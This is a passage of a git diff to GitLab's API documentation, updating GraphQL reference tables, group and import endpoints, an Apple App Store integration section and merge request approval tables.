+| <a id="timelogsortcreated_desc"></a>`created_desc` **{warning-solid}** | **Deprecated** in 13.5. This was renamed. Use: `CREATED_DESC`. |
+| <a id="timelogsortupdated_asc"></a>`updated_asc` **{warning-solid}** | **Deprecated** in 13.5. This was renamed. Use: `UPDATED_ASC`. |
+| <a id="timelogsortupdated_desc"></a>`updated_desc` **{warning-solid}** | **Deprecated** in 13.5. This was renamed. Use: `UPDATED_DESC`. |
+
### `TodoActionEnum`
| Value | Description |
@@ -22822,7 +23178,7 @@ Category of error.
| <a id="todoactionenumbuild_failed"></a>`build_failed` | Build triggered by the user failed. |
| <a id="todoactionenumdirectly_addressed"></a>`directly_addressed` | User was directly addressed. |
| <a id="todoactionenummarked"></a>`marked` | User added a to-do item. |
-| <a id="todoactionenummember_access_requested"></a>`member_access_requested` | Group access requested from the user. |
+| <a id="todoactionenummember_access_requested"></a>`member_access_requested` | Group or project access requested from the user. |
| <a id="todoactionenummentioned"></a>`mentioned` | User was mentioned. |
| <a id="todoactionenummerge_train_removed"></a>`merge_train_removed` | Merge request authored by the user was removed from the merge train. |
| <a id="todoactionenumreview_requested"></a>`review_requested` | Review was requested from the user. |
@@ -23148,6 +23504,7 @@ Type of a work item widget.
| <a id="workitemwidgettypemilestone"></a>`MILESTONE` | Milestone widget. |
| <a id="workitemwidgettypenotes"></a>`NOTES` | Notes widget. |
| <a id="workitemwidgettypeprogress"></a>`PROGRESS` | Progress widget. |
+| <a id="workitemwidgettyperequirement_legacy"></a>`REQUIREMENT_LEGACY` | Requirement Legacy widget. |
| <a id="workitemwidgettypestart_and_due_date"></a>`START_AND_DUE_DATE` | Start And Due Date widget. |
| <a id="workitemwidgettypestatus"></a>`STATUS` | Status widget. |
| <a id="workitemwidgettypeweight"></a>`WEIGHT` | Weight widget. |
@@ -23163,6 +23520,12 @@ each kind of object.
For more information, read about [Scalar Types](https://graphql.org/learn/schema/#scalar-types) on `graphql.org`.
+### `AchievementsAchievementID`
+
+A `AchievementsAchievementID` is a global ID. It is encoded as a string.
+
+An example `AchievementsAchievementID` is: `"gid://gitlab/Achievements::Achievement/1"`.
+
### `AlertManagementAlertID`
A `AlertManagementAlertID` is a global ID. It is encoded as a string.
@@ -23361,6 +23724,12 @@ A `DependencyProxyManifestID` is a global ID. It is encoded as a string.
An example `DependencyProxyManifestID` is: `"gid://gitlab/DependencyProxy::Manifest/1"`.
+### `DescriptionVersionID`
+
+A `DescriptionVersionID` is a global ID. It is encoded as a string.
+
+An example `DescriptionVersionID` is: `"gid://gitlab/DescriptionVersion/1"`.
+
### `DesignManagementDesignAtVersionID`
A `DesignManagementDesignAtVersionID` is a global ID. It is encoded as a string.
@@ -23698,6 +24067,12 @@ An example `SnippetID` is: `"gid://gitlab/Snippet/1"`.
Represents textual data as UTF-8 character sequences. This type is most often used by GraphQL to represent free-form human-readable text.
+### `SystemNoteMetadataID`
+
+A `SystemNoteMetadataID` is a global ID. It is encoded as a string.
+
+An example `SystemNoteMetadataID` is: `"gid://gitlab/SystemNoteMetadata/1"`.
+
### `TerraformStateID`
A `TerraformStateID` is a global ID. It is encoded as a string.
@@ -24095,6 +24470,7 @@ Implementations:
| Name | Type | Description |
| ---- | ---- | ----------- |
+| <a id="noteableinterfacecommenters"></a>`commenters` | [`UserCoreConnection!`](#usercoreconnection) | All commenters on this noteable. (see [Connections](#connections)) |
| <a id="noteableinterfacediscussions"></a>`discussions` | [`DiscussionConnection!`](#discussionconnection) | All discussions on this noteable. (see [Connections](#connections)) |
| <a id="noteableinterfacenotes"></a>`notes` | [`NoteConnection!`](#noteconnection) | All notes on this noteable. (see [Connections](#connections)) |
@@ -24222,7 +24598,9 @@ Implementations:
| <a id="useravatarurl"></a>`avatarUrl` | [`String`](#string) | URL of the user's avatar. |
| <a id="userbot"></a>`bot` | [`Boolean!`](#boolean) | Indicates if the user is a bot. |
| <a id="usercallouts"></a>`callouts` | [`UserCalloutConnection`](#usercalloutconnection) | User callouts that belong to the user. (see [Connections](#connections)) |
+| <a id="usercommitemail"></a>`commitEmail` | [`String`](#string) | User's default commit email. |
| <a id="useremail"></a>`email` **{warning-solid}** | [`String`](#string) | **Deprecated** in 13.7. This was renamed. Use: [`User.publicEmail`](#userpublicemail). |
+| <a id="useremails"></a>`emails` | [`EmailConnection`](#emailconnection) | User's email addresses. (see [Connections](#connections)) |
| <a id="usergitpodenabled"></a>`gitpodEnabled` | [`Boolean`](#boolean) | Whether Gitpod is enabled at the user level. |
| <a id="usergroupcount"></a>`groupCount` | [`Int`](#int) | Group count for the user. |
| <a id="usergroupmemberships"></a>`groupMemberships` | [`GroupMemberConnection`](#groupmemberconnection) | Group memberships of the user. (see [Connections](#connections)) |
@@ -24230,6 +24608,7 @@ Implementations:
| <a id="userlocation"></a>`location` | [`String`](#string) | Location of the user. |
| <a id="username"></a>`name` | [`String!`](#string) | Human-readable name of the user. Returns `****` if the user is a project bot and the requester does not have permission to view the project. |
| <a id="usernamespace"></a>`namespace` | [`Namespace`](#namespace) | Personal namespace of the user. |
+| <a id="usernamespacecommitemails"></a>`namespaceCommitEmails` | [`NamespaceCommitEmailConnection`](#namespacecommitemailconnection) | User's custom namespace commit emails. (see [Connections](#connections)) |
| <a id="userpreferencesgitpodpath"></a>`preferencesGitpodPath` | [`String`](#string) | Web path to the Gitpod section within user preferences. |
| <a id="userprofileenablegitpodpath"></a>`profileEnableGitpodPath` | [`String`](#string) | Web path to enable Gitpod for the user. |
| <a id="userprojectmemberships"></a>`projectMemberships` | [`ProjectMemberConnection`](#projectmemberconnection) | Project memberships of the user. (see [Connections](#connections)) |
@@ -24415,6 +24794,7 @@ four standard [pagination arguments](#connection-pagination-arguments):
| <a id="usertimelogsendtime"></a>`endTime` | [`Time`](#time) | List timelogs within a time range where the logged time is equal to or before endTime. |
| <a id="usertimelogsgroupid"></a>`groupId` | [`GroupID`](#groupid) | List timelogs for a group. |
| <a id="usertimelogsprojectid"></a>`projectId` | [`ProjectID`](#projectid) | List timelogs for a project. |
+| <a id="usertimelogssort"></a>`sort` | [`TimelogSort`](#timelogsort) | List timelogs in a particular order. |
| <a id="usertimelogsstartdate"></a>`startDate` | [`Time`](#time) | List timelogs within a date range where the logged date is equal to or after startDate. |
| <a id="usertimelogsstarttime"></a>`startTime` | [`Time`](#time) | List timelogs within a time range where the logged time is equal to or after startTime. |
| <a id="usertimelogsusername"></a>`username` | [`String`](#string) | List timelogs for a user. |
@@ -24453,6 +24833,7 @@ Implementations:
- [`WorkItemWidgetMilestone`](#workitemwidgetmilestone)
- [`WorkItemWidgetNotes`](#workitemwidgetnotes)
- [`WorkItemWidgetProgress`](#workitemwidgetprogress)
+- [`WorkItemWidgetRequirementLegacy`](#workitemwidgetrequirementlegacy)
- [`WorkItemWidgetStartAndDueDate`](#workitemwidgetstartandduedate)
- [`WorkItemWidgetStatus`](#workitemwidgetstatus)
- [`WorkItemWidgetWeight`](#workitemwidgetweight)
@@ -24934,6 +25315,7 @@ A time-frame defined as a closed inclusive range of two dates.
| ---- | ---- | ----------- |
| <a id="unionedissuefilterinputassigneeusernames"></a>`assigneeUsernames` | [`[String!]`](#string) | Filters issues that are assigned to at least one of the given users. |
| <a id="unionedissuefilterinputauthorusernames"></a>`authorUsernames` | [`[String!]`](#string) | Filters issues that are authored by one of the given users. |
+| <a id="unionedissuefilterinputlabelnames"></a>`labelNames` | [`[String!]`](#string) | Filters issues that have at least one of the given labels. |
### `UpdateDiffImagePositionInput`
diff --git a/doc/api/graphql/users_example.md b/doc/api/graphql/users_example.md
index 9d223f9e618..83cc2d6ac5e 100644
--- a/doc/api/graphql/users_example.md
+++ b/doc/api/graphql/users_example.md
@@ -12,7 +12,6 @@ You can run the same query directly via a HTTP endpoint, using `cURL`. For more
guidance on getting started from the [command line](getting_started.md#command-line).
The [example users query](#set-up-the-graphiql-explorer) looks for a subset of users in
-o
a GitLab instance either by username or
[Global ID](../../development/api_graphql_styleguide.md#global-ids).
The query includes:
@@ -82,7 +81,7 @@ NOTE:
a single integer.
This GraphQL query returns the specified information for the three users with the listed username. Since the GraphiQL explorer uses the session token to authorize access to resources,
-the output is limited to the projects and groups accessible to the currently signed-in user.
+the output is limited to the projects and groups accessible to the currently authenticated user.
If you've signed in as an instance administrator, you would have access to all records, regardless of ownership.
diff --git a/doc/api/group_badges.md b/doc/api/group_badges.md
index 14146745d86..46f0a28e945 100644
--- a/doc/api/group_badges.md
+++ b/doc/api/group_badges.md
@@ -1,6 +1,6 @@
---
stage: Manage
-group: Workspace
+group: Organization
info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/product/ux/technical-writing/#assignments
---
diff --git a/doc/api/group_level_variables.md b/doc/api/group_level_variables.md
index 6ca4cc1d080..f6b47118b5f 100644
--- a/doc/api/group_level_variables.md
+++ b/doc/api/group_level_variables.md
@@ -93,7 +93,7 @@ POST /groups/:id/variables
| `protected` | boolean | no | Whether the variable is protected |
| `masked` | boolean | no | Whether the variable is masked |
| `raw` | boolean | no | Whether the variable is expandable |
-| `environment_scope` **(PREMIUM)** | string | no | The [environment scope](../ci/variables/index.md#limit-the-environment-scope-of-a-cicd-variable) of a variable |
+| `environment_scope` **(PREMIUM)** | string | no | The [environment scope](../ci/environments/index.md#limit-the-environment-scope-of-a-cicd-variable) of a variable |
```shell
curl --request POST --header "PRIVATE-TOKEN: <your_access_token>" \
@@ -129,7 +129,7 @@ PUT /groups/:id/variables/:key
| `protected` | boolean | no | Whether the variable is protected |
| `masked` | boolean | no | Whether the variable is masked |
| `raw` | boolean | no | Whether the variable is expandable |
-| `environment_scope` **(PREMIUM)** | string | no | The [environment scope](../ci/variables/index.md#limit-the-environment-scope-of-a-cicd-variable) of a variable |
+| `environment_scope` **(PREMIUM)** | string | no | The [environment scope](../ci/environments/index.md#limit-the-environment-scope-of-a-cicd-variable) of a variable |
```shell
curl --request PUT --header "PRIVATE-TOKEN: <your_access_token>" \
diff --git a/doc/api/group_repository_storage_moves.md b/doc/api/group_repository_storage_moves.md
index a4baf7936dd..a207775cf45 100644
--- a/doc/api/group_repository_storage_moves.md
+++ b/doc/api/group_repository_storage_moves.md
@@ -239,6 +239,8 @@ Example response:
## Schedule repository storage moves for all groups on a storage shard
Schedules repository storage moves for each group repository stored on the source storage shard.
+This endpoint migrates all groups at once. For more information, see
+[Move all groups](../administration/operations/moving_repositories.md#move-all-groups).
```plaintext
POST /group_repository_storage_moves
diff --git a/doc/api/groups.md b/doc/api/groups.md
index d017876b9c2..0e093759a80 100644
--- a/doc/api/groups.md
+++ b/doc/api/groups.md
@@ -1,6 +1,6 @@
---
stage: Manage
-group: Workspace
+group: Organization
info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/product/ux/technical-writing/#assignments
---
@@ -217,7 +217,7 @@ GET /groups/:id/descendant_groups
{
"id": 2,
"name": "Bar Group",
- "path": "foo/bar",
+ "path": "bar",
"description": "A subgroup of Foo Group",
"visibility": "public",
"share_with_group_lock": false,
@@ -242,7 +242,7 @@ GET /groups/:id/descendant_groups
{
"id": 3,
"name": "Baz Group",
- "path": "foo/bar/baz",
+ "path": "baz",
"description": "A subgroup of Bar Group",
"visibility": "public",
"share_with_group_lock": false,
@@ -830,8 +830,8 @@ Parameters:
| `two_factor_grace_period` | integer | no | Time before Two-factor authentication is enforced (in hours). |
| `visibility` | string | no | The group's visibility. Can be `private`, `internal`, or `public`. |
| `membership_lock` **(PREMIUM)** | boolean | no | Users cannot be added to projects in this group. |
-| `extra_shared_runners_minutes_limit` **(PREMIUM)** | integer | no | Can be set by administrators only. Additional CI/CD minutes for this group. |
-| `shared_runners_minutes_limit` **(PREMIUM)** | integer | no | Can be set by administrators only. Maximum number of monthly CI/CD minutes for this group. Can be `nil` (default; inherit system default), `0` (unlimited), or `> 0`. |
+| `extra_shared_runners_minutes_limit` **(PREMIUM SELF)** | integer | no | Can be set by administrators only. Additional CI/CD minutes for this group. |
+| `shared_runners_minutes_limit` **(PREMIUM SELF)** | integer | no | Can be set by administrators only. Maximum number of monthly CI/CD minutes for this group. Can be `nil` (default; inherit system default), `0` (unlimited), or `> 0`. |
### Options for `default_branch_protection`
@@ -985,11 +985,11 @@ PUT /groups/:id
| `subgroup_creation_level` | string | no | Allowed to [create subgroups](../user/group/subgroups/index.md#create-a-subgroup). Can be `owner` (Owners), or `maintainer` (users with the Maintainer role). |
| `two_factor_grace_period` | integer | no | Time before Two-factor authentication is enforced (in hours). |
| `visibility` | string | no | The visibility level of the group. Can be `private`, `internal`, or `public`. |
-| `extra_shared_runners_minutes_limit` **(PREMIUM)** | integer | no | Can be set by administrators only. Additional CI/CD minutes for this group. |
+| `extra_shared_runners_minutes_limit` **(PREMIUM SELF)** | integer | no | Can be set by administrators only. Additional CI/CD minutes for this group. |
| `file_template_project_id` **(PREMIUM)** | integer | no | The ID of a project to load custom file templates from. |
| `membership_lock` **(PREMIUM)** | boolean | no | Users cannot be added to projects in this group. |
| `prevent_forking_outside_group` **(PREMIUM)** | boolean | no | When enabled, users can **not** fork projects from this group to external namespaces. |
-| `shared_runners_minutes_limit` **(PREMIUM)** | integer | no | Can be set by administrators only. Maximum number of monthly CI/CD minutes for this group. Can be `nil` (default; inherit system default), `0` (unlimited), or `> 0`. |
+| `shared_runners_minutes_limit` **(PREMIUM SELF)** | integer | no | Can be set by administrators only. Maximum number of monthly CI/CD minutes for this group. Can be `nil` (default; inherit system default), `0` (unlimited), or `> 0`. |
| `unique_project_download_limit` **(ULTIMATE)** | integer | no | Maximum number of unique projects a user can download in the specified time period before they are banned. Available only on top-level groups. Default: 0, Maximum: 10,000. |
| `unique_project_download_limit_interval_in_seconds` **(ULTIMATE)** | integer | no | Time period during which a user can download a maximum amount of projects before they are banned. Available only on top-level groups. Default: 0, Maximum: 864,000 seconds (10 days). |
| `unique_project_download_limit_allowlist` **(ULTIMATE)** | array of strings | no | List of usernames excluded from the unique project download limit. Available only on top-level groups. Default: `[]`, Maximum: 100 usernames. |
@@ -1025,7 +1025,7 @@ Example response:
"web_url": "http://gitlab.example.com/groups/h5bp",
"request_access_enabled": false,
"full_name": "Foobar Group",
- "full_path": "foo-bar",
+ "full_path": "h5bp",
"file_template_project_id": 1,
"parent_id": null,
"created_at": "2020-01-15T12:36:29.590Z",
@@ -1099,8 +1099,9 @@ The `shared_runners_setting` attribute determines whether shared runners are ena
| Value | Description |
|-------|-------------------------------------------------------------------------------------------------------------|
| `enabled` | Enables shared runners for all projects and subgroups in this group. |
-| `disabled_with_override` | Disables shared runners for all projects and subgroups in this group, but allows subgroups to override this setting. |
+| `disabled_and_overridable` | Disables shared runners for all projects and subgroups in this group, but allows subgroups to override this setting. |
| `disabled_and_unoverridable` | Disables shared runners for all projects and subgroups in this group, and prevents subgroups from overriding this setting. |
+| `disabled_with_override` | (Deprecated. Use `disabled_and_overridable`) Disables shared runners for all projects and subgroups in this group, but allows subgroups to override this setting. |
### Upload a group avatar
@@ -1702,7 +1703,7 @@ DELETE /groups/:id/share/:group_id
> Introduced in GitLab 13.4.
-### Get group push rules **(PREMIUM)**
+### Get group push rules
Get the [push rules](../user/group/access_and_permissions.md#group-push-rules) of a group.
@@ -1745,7 +1746,7 @@ the `commit_committer_check` and `reject_unsigned_commits` parameters:
}
```
-### Add group push rule **(PREMIUM)**
+### Add group push rule
Adds [push rules](../user/group/access_and_permissions.md#group-push-rules) to the specified group.
@@ -1792,7 +1793,7 @@ Response:
}
```
-### Edit group push rule **(PREMIUM)**
+### Edit group push rule
Edit push rules for a specified group.
@@ -1839,7 +1840,7 @@ Response:
}
```
-### Delete group push rule **(PREMIUM)**
+### Delete group push rule
Deletes the [push rules](../user/group/access_and_permissions.md#group-push-rules) of a group.
diff --git a/doc/api/import.md b/doc/api/import.md
index 7a1eb4fe8b3..407f1974f7d 100644
--- a/doc/api/import.md
+++ b/doc/api/import.md
@@ -8,8 +8,12 @@ info: To determine the technical writer assigned to the Stage/Group associated w
## Import repository from GitHub
+> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/381902) in GitLab 15.8, GitLab no longer automatically creates namespaces or groups if the namespace or group name specified in `target_namespace` doesn't exist. GitLab also no longer falls back to using the user's personal namespace if the namespace or group name is taken or `target_namespace` is blank.
+
Import your projects from GitHub to GitLab using the API.
+The namespace set in `target_namespace` must exist. The namespace can be your user namespace or an existing group that you have at least the Developer role for.
+
```plaintext
POST /import/github
```
@@ -18,8 +22,8 @@ POST /import/github
|-------------------------|---------|----------|-------------------------------------------------------------------------------------|
| `personal_access_token` | string | yes | GitHub personal access token |
| `repo_id` | integer | yes | GitHub repository ID |
-| `new_name` | string | no | New repository name |
-| `target_namespace` | string | yes | Namespace to import repository into. Supports subgroups like `/namespace/subgroup` |
+| `new_name` | string | no | New repository name |
+| `target_namespace` | string | yes | Namespace to import repository into. Supports subgroups like `/namespace/subgroup`. In GitLab 15.8 and later, must not be blank |
| `github_hostname` | string | no | Custom GitHub Enterprise hostname. Do not set for GitHub.com. |
| `optional_stages` | object | no | [Additional items to import](../user/project/import/github.md#select-additional-items-to-import). [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/373705) in GitLab 15.5 |
@@ -116,6 +120,44 @@ Returns the following status codes:
- `400 Bad Request`: the project import cannot be canceled.
- `404 Not Found`: the project associated with `project_id` does not exist.
+## Import GitHub gists into GitLab snippets
+
+> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/371099) in GitLab 15.8 [with a flag](../administration/feature_flags.md) named `github_import_gists`. Disabled by default.
+
+FLAG:
+On self-managed GitLab, by default this feature is not available. To make it available,
+ask an administrator to [enable the feature flag](../administration/feature_flags.md) named `github_import_gists`.
+
+You can use the GitLab API to import personal GitHub gists (with up to 10 files) into personal GitLab snippets.
+GitHub gists with more than 10 files are skipped. You should manually migrate these GitHub gists.
+
+If any gists couldn't be imported, an email is sent with a list of gists that were not imported.
+
+```plaintext
+POST /import/github/gists
+```
+
+| Attribute | Type | Required | Description |
+|------------|---------|----------|---------------------|
+| `personal_access_token` | string | yes | GitHub personal access token |
+
+```shell
+curl --request POST \
+ --url "https://gitlab.example.com/api/v4/import/github/gists" \
+ --header "content-type: application/json" \
+ --header "PRIVATE-TOKEN: <your_gitlab_access_token>" \
+ --data '{
+ "personal_access_token": "<your_github_personal_access_token>"
+}'
+```
+
+Returns the following status codes:
+
+- `202 Accepted`: the gists import is being started.
+- `401 Unauthorized`: user's GitHub personal access token is invalid.
+- `422 Unprocessable Entity`: the gists import is already in progress.
+- `429 Too Many Requests`: the user has exceeded GitHub's rate limit.
+
## Import repository from Bitbucket Server
Import your projects from Bitbucket Server to GitLab via the API.
diff --git a/doc/api/index.md b/doc/api/index.md
index ef054318c5c..8075b667a67 100644
--- a/doc/api/index.md
+++ b/doc/api/index.md
@@ -59,7 +59,6 @@ month. Major API version changes, and removal of entire API versions, are done i
with major GitLab releases.
All deprecations and changes between versions are in the documentation.
-For the changes between v3 and v4, see the [v3 to v4 documentation](https://gitlab.com/gitlab-org/gitlab-foss/-/blob/11-0-stable/doc/api/v3_to_v4.md).
### Current status
diff --git a/doc/api/integrations.md b/doc/api/integrations.md
index f6ad095aad6..24e0f189aad 100644
--- a/doc/api/integrations.md
+++ b/doc/api/integrations.md
@@ -72,6 +72,44 @@ Example response:
]
```
+## Apple App Store
+
+Use GitLab to build and release an app in the Apple App Store.
+
+See also the [Apple App Store integration documentation](../user/project/integrations/apple_app_store.md).
+
+### Create/Edit Apple App Store integration
+
+Set Apple App Store integration for a project.
+
+```plaintext
+PUT /projects/:id/integrations/apple_app_store
+```
+
+Parameters:
+
+| Parameter | Type | Required | Description |
+| --------- | ---- | -------- | ----------- |
+| `app_store_issuer_id` | string | true | The Apple App Store Connect Issuer ID. |
+| `app_store_key_id` | string | true | The Apple App Store Connect Key ID. |
+| `app_store_private_key` | string | true | The Apple App Store Connect Private Key. |
+
+### Disable Apple App Store integration
+
+Disable the Apple App Store integration for a project. Integration settings are preserved.
+
+```plaintext
+DELETE /projects/:id/integrations/apple_app_store
+```
+
+### Get Apple App Store integration settings
+
+Get Apple App Store integration settings for a project.
+
+```plaintext
+GET /projects/:id/integrations/apple_app_store
+```
+
## Asana
Add commit messages as comments to Asana tasks.
diff --git a/doc/api/linked_epics.md b/doc/api/linked_epics.md
index 77540f37054..c240b3255c6 100644
--- a/doc/api/linked_epics.md
+++ b/doc/api/linked_epics.md
@@ -89,10 +89,10 @@ Example response:
## Create a related epic link
-> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/352840) in GitLab 14.10.
+> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/352840) in GitLab 14.10.
+> - Minimum required role for the group [changed](https://gitlab.com/gitlab-org/gitlab/-/issues/381308) from Reporter to Guest in GitLab 15.8.
-Create a two-way relation between two epics. The user must be allowed to
-update both epics to succeed.
+Create a two-way relation between two epics. The user must have at least the Guest role for both groups.
```plaintext
POST /groups/:id/epics/:epic_iid/related_epics
@@ -208,10 +208,10 @@ Example response:
## Delete a related epic link
-> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/352840) in GitLab 14.10.
+> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/352840) in GitLab 14.10.
+> - Minimum required role for the group [changed](https://gitlab.com/gitlab-org/gitlab/-/issues/381308) from Reporter to Guest in GitLab 15.8.
-Delete a two-way relation between two epics. The user must be allowed to
-update both epics to succeed.
+Delete a two-way relation between two epics. The user must have at least the Guest role for both groups.
```plaintext
DELETE /groups/:id/epics/:epic_iid/related_epics/:related_epic_link_id
diff --git a/doc/api/merge_request_approvals.md b/doc/api/merge_request_approvals.md
index d9777b87ff2..12f6ab318c9 100644
--- a/doc/api/merge_request_approvals.md
+++ b/doc/api/merge_request_approvals.md
@@ -16,7 +16,8 @@ in the project. Must be authenticated for all endpoints.
### Get Configuration
-> Moved to GitLab Premium in 13.9.
+> - Moved to GitLab Premium in 13.9.
+> - The `approvers` and `approver_groups` fields were deprecated in GitLab 12.3 and always return empty. Use the [project level approval rules](#get-project-level-rules) to access this information.
You can request information about a project's approval configuration using the
following endpoint:
@@ -27,12 +28,14 @@ GET /projects/:id/approvals
Supported attributes:
-| Attribute | Type | Required | Description |
-| --------- | ------- | -------- | ------------------- |
-| `id` | integer or string | **{check-circle}** Yes | The ID or [URL-encoded path of a project](index.md#namespaced-path-encoding). |
+| Attribute | Type | Required | Description |
+|-----------|-------------------|------------------------|-------------------------------------------------------------------------------|
+| `id` | integer or string | **{check-circle}** Yes | The ID or [URL-encoded path of a project](index.md#namespaced-path-encoding). |
```json
{
+ "approvers": [], // Deprecated in GitLab 12.3, always returns empty
+ "approver_groups": [], // Deprecated in GitLab 12.3, always returns empty
"approvals_before_merge": 2,
"reset_approvals_on_push": true,
"selective_code_owner_removals": false,
@@ -56,16 +59,16 @@ POST /projects/:id/approvals
Supported attributes:
-| Attribute | Type | Required | Description |
-| ------------------------------------------------ | ------- | -------- | -- |
-| `id` | integer or string | **{check-circle}** Yes | The ID or [URL-encoded path of a project](index.md#namespaced-path-encoding). |
-| `approvals_before_merge` (deprecated) | integer | **{dotted-circle}** No | How many approvals are required before a merge request can be merged. [Deprecated](https://gitlab.com/gitlab-org/gitlab/-/issues/11132) in GitLab 12.3. |
-| `disable_overriding_approvers_per_merge_request` | boolean | **{dotted-circle}** No | Allow or prevent overriding approvers per merge request. |
-| `merge_requests_author_approval` | boolean | **{dotted-circle}** No | Allow or prevent authors from self approving merge requests; `true` means authors can self approve. |
-| `merge_requests_disable_committers_approval` | boolean | **{dotted-circle}** No | Allow or prevent committers from self approving merge requests. |
-| `require_password_to_approve` | boolean | **{dotted-circle}** No | Require approver to enter a password to authenticate before adding the approval. |
-| `reset_approvals_on_push` | boolean | **{dotted-circle}** No | Reset approvals on a new push. |
-| `selective_code_owner_removals` | boolean | **{dotted-circle}** No | Reset approvals from Code Owners if their files changed. Can be enabled only if `reset_approvals_on_push` is disabled. |
+| Attribute | Type | Required | Description |
+|--------------------------------------------------|-------------------|------------------------|---------------------------------------------------------------------------------------------------------------------------------------------------------|
+| `id` | integer or string | **{check-circle}** Yes | The ID or [URL-encoded path of a project](index.md#namespaced-path-encoding). |
+| `approvals_before_merge` (deprecated) | integer | **{dotted-circle}** No | How many approvals are required before a merge request can be merged. [Deprecated](https://gitlab.com/gitlab-org/gitlab/-/issues/11132) in GitLab 12.3. |
+| `disable_overriding_approvers_per_merge_request` | boolean | **{dotted-circle}** No | Allow or prevent overriding approvers per merge request. |
+| `merge_requests_author_approval` | boolean | **{dotted-circle}** No | Allow or prevent authors from self approving merge requests; `true` means authors can self approve. |
+| `merge_requests_disable_committers_approval` | boolean | **{dotted-circle}** No | Allow or prevent committers from self approving merge requests. |
+| `require_password_to_approve` | boolean | **{dotted-circle}** No | Require approver to enter a password to authenticate before adding the approval. |
+| `reset_approvals_on_push` | boolean | **{dotted-circle}** No | Reset approvals on a new push. |
+| `selective_code_owner_removals` | boolean | **{dotted-circle}** No | Reset approvals from Code Owners if their files changed. Can be enabled only if `reset_approvals_on_push` is disabled. |
```json
{
@@ -97,9 +100,9 @@ Use the `page` and `per_page` [pagination](index.md#offset-based-pagination) par
Supported attributes:
-| Attribute | Type | Required | Description |
-|----------------------|---------|----------|-----------------------------------------------------------|
-| `id` | integer or string | **{check-circle}** Yes | The ID or [URL-encoded path of a project](index.md#namespaced-path-encoding). |
+| Attribute | Type | Required | Description |
+|-----------|-------------------|------------------------|-------------------------------------------------------------------------------|
+| `id` | integer or string | **{check-circle}** Yes | The ID or [URL-encoded path of a project](index.md#namespaced-path-encoding). |
```json
[
@@ -199,10 +202,10 @@ GET /projects/:id/approval_rules/:approval_rule_id
Supported attributes:
-| Attribute | Type | Required | Description |
-|----------------------|---------|----------|-----------------------------------------------------------|
-| `id` | integer or string | **{check-circle}** Yes | The ID or [URL-encoded path of a project](index.md#namespaced-path-encoding). |
-| `approval_rule_id` | integer | **{check-circle}** Yes | The ID of a approval rule. |
+| Attribute | Type | Required | Description |
+|--------------------|-------------------|------------------------|-------------------------------------------------------------------------------|
+| `id` | integer or string | **{check-circle}** Yes | The ID or [URL-encoded path of a project](index.md#namespaced-path-encoding). |
+| `approval_rule_id` | integer | **{check-circle}** Yes | The ID of a approval rule. |
```json
{
@@ -301,18 +304,18 @@ POST /projects/:id/approval_rules
Supported attributes:
-| Attribute | Type | Required | Description |
-|-------------------------------------|-------------------|----------|------------ |
-| `id` | integer or string | **{check-circle}** Yes | The ID or [URL-encoded path of a project](index.md#namespaced-path-encoding). |
-| `approvals_required` | integer | **{check-circle}** Yes | The number of required approvals for this rule. |
-| `name` | string | **{check-circle}** Yes | The name of the approval rule. |
-| `applies_to_all_protected_branches` | boolean | **{dotted-circle}** No | Whether the rule is applied to all protected branches. If set to `true`, the value of `protected_branch_ids` is ignored. Default is `false`. [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/335316) in GitLab 15.3. |
-| `group_ids` | Array | **{dotted-circle}** No | The IDs of groups as approvers. |
-| `protected_branch_ids` | Array | **{dotted-circle}** No | The IDs of protected branches to scope the rule by. To identify the ID, [use the API](protected_branches.md#list-protected-branches). |
-| `report_type` | string | **{dotted-circle}** No | The report type required when the rule type is `report_approver`. The supported report types are `license_scanning` and `code_coverage`. |
-| `rule_type` | string | **{dotted-circle}** No | The type of rule. `any_approver` is a pre-configured default rule with `approvals_required` at `0`. Other rules are `regular`. |
-| `user_ids` | Array | **{dotted-circle}** No | The IDs of users as approvers. |
-| `usernames` | string array | **{dotted-circle}** No | The usernames for this rule. |
+| Attribute | Type | Required | Description |
+|-------------------------------------|-------------------|------------------------|---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|
+| `id` | integer or string | **{check-circle}** Yes | The ID or [URL-encoded path of a project](index.md#namespaced-path-encoding). |
+| `approvals_required` | integer | **{check-circle}** Yes | The number of required approvals for this rule. |
+| `name` | string | **{check-circle}** Yes | The name of the approval rule. |
+| `applies_to_all_protected_branches` | boolean | **{dotted-circle}** No | Whether the rule is applied to all protected branches. If set to `true`, the value of `protected_branch_ids` is ignored. Default is `false`. [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/335316) in GitLab 15.3. |
+| `group_ids` | Array | **{dotted-circle}** No | The IDs of groups as approvers. |
+| `protected_branch_ids` | Array | **{dotted-circle}** No | The IDs of protected branches to scope the rule by. To identify the ID, [use the API](protected_branches.md#list-protected-branches). |
+| `report_type` | string | **{dotted-circle}** No | The report type required when the rule type is `report_approver`. The supported report types are `license_scanning` and `code_coverage`. |
+| `rule_type` | string | **{dotted-circle}** No | The type of rule. `any_approver` is a pre-configured default rule with `approvals_required` at `0`. Other rules are `regular`. |
+| `user_ids` | Array | **{dotted-circle}** No | The IDs of users as approvers. |
+| `usernames` | string array | **{dotted-circle}** No | The usernames for this rule. |
```json
{
@@ -430,18 +433,18 @@ PUT /projects/:id/approval_rules/:approval_rule_id
Supported attributes:
-| Attribute | Type | Required | Description |
-|-------------------------------------|-------------------|----------|-------------|
-| `id` | integer or string | **{check-circle}** Yes | The ID or [URL-encoded path of a project](index.md#namespaced-path-encoding). |
-| `approvals_required` | integer | **{check-circle}** Yes | The number of required approvals for this rule. |
-| `approval_rule_id` | integer | **{check-circle}** Yes | The ID of a approval rule. |
-| `name` | string | **{check-circle}** Yes | The name of the approval rule. |
-| `applies_to_all_protected_branches` | boolean | **{dotted-circle}** No | Whether the rule is applied to all protected branches. If set to `true`, the value of `protected_branch_ids` is ignored. Default is `false`. [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/335316) in GitLab 15.3. |
